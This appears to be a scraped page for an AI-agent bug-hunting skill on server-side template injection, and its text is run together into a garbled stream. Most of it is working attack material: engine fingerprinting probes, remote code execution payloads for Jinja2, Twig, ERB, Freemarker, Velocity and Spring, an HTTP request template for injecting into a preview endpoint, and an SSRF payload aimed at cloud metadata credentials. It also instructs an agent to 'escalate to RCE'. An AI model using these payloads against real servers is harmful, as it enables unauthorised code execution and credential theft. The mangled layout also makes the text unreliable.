Loading...
Loading...
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render.
npx skill4agent add elementalsouls/claude-bughunter hunt-ssti{{7*7}}→49<input value="{{7*7}}">{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Content-Type: application/x-www-form-urlencoded
field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}request.form['field']{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}uid=N(user) gid=...<div><pre>Easy to detect, high payout ($2K–$8K). Direct path to RCE.
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.{{config.__class__.__init__.__globals__['os'].popen('id').read()}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}<%= `id` %>os.popen{{ '7'*7 }} # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here
{{7*7}} → 49 ⇒ Jinja2 / Twig
<%= 7*7 %> → 49 ⇒ ERB (Ruby)
*{7*7} → 49 ⇒ Thymeleaf (Spring){{7*7}}${7*7}{{config...}}POST /…/template?productId=Ncsrftemplatetemplate-actionpreviewsave400 "Missing product id"?productId=Ncsrf=…&template=<PAYLOAD>&template-action=previewpreviewcsrftemplate-action=previewtemplate-action=saveExecute<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }#set($e="e");$e.getClass().forName("java.lang.Runtime")...hunt-rce{{config.__class__.__init__.__globals__['os'].popen('id').read()}}<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}hunt-xss{{7*7}}<script>hunt-ssrf{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}url_forhunt-file-uploadword/document.xml${T(java.lang.Runtime).getRuntime().exec("id")}security-arsenal__subclasses__()[N]_self.env?new()$class.inspect{php}...{/php}{{request|attr('application')|...}}{%print(...)%}triage-validation{{7*7}} → 49id